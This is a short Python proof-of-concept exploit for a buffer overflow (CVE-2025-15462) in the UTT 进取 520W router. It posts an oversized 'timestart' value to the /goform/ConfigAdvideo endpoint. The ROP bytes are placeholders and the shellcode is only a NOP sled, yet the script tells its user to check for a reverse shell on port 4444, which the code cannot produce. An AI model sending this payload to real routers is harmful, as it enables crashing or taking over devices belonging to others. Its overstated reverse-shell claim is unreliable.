UTT 进取 520W 路由器 strcpy 缓冲区溢出漏洞 (CVE-2025-15462)

import requests # CVE-2025-15462 PoC - Buffer Overflow in UTT 进取 520W # Target: /goform/ConfigAdvideo endpoint target_ip = "192.168.1.1" # Router IP target_port = 80 # Generate malicious payload for timestart parameter # Padding to overflow buffer + ROP chain + shellcode padding_length = 1000 # Adjust based on actual buffer size rop_gadgets = b"\x41\x42\x43\x44" * 10 # Placeholder ROP addresses shellcode = b"\x90" * 50 # NOP sled # Construct the overflow payload payload = b"A" * padding_length + rop_gadgets + shellcode # Build HTTP POST request url = f"http://{target_ip}:{target_port}/goform/ConfigAdvideo" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } # timestart parameter is vulnerable data = { "timestart": payload.decode('latin-1'), "action": "save" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload size: {len(payload)} bytes") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[*] Exploit sent. Check for reverse shell on port 4444") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Note: This PoC demonstrates the vulnerability structure. # Actual exploitation requires: # 1. Proper buffer size calculation # 2. Valid ROP gadgets from libc # 3. Appropriate shellcode for MIPS architecture # 4. Network connectivity to target device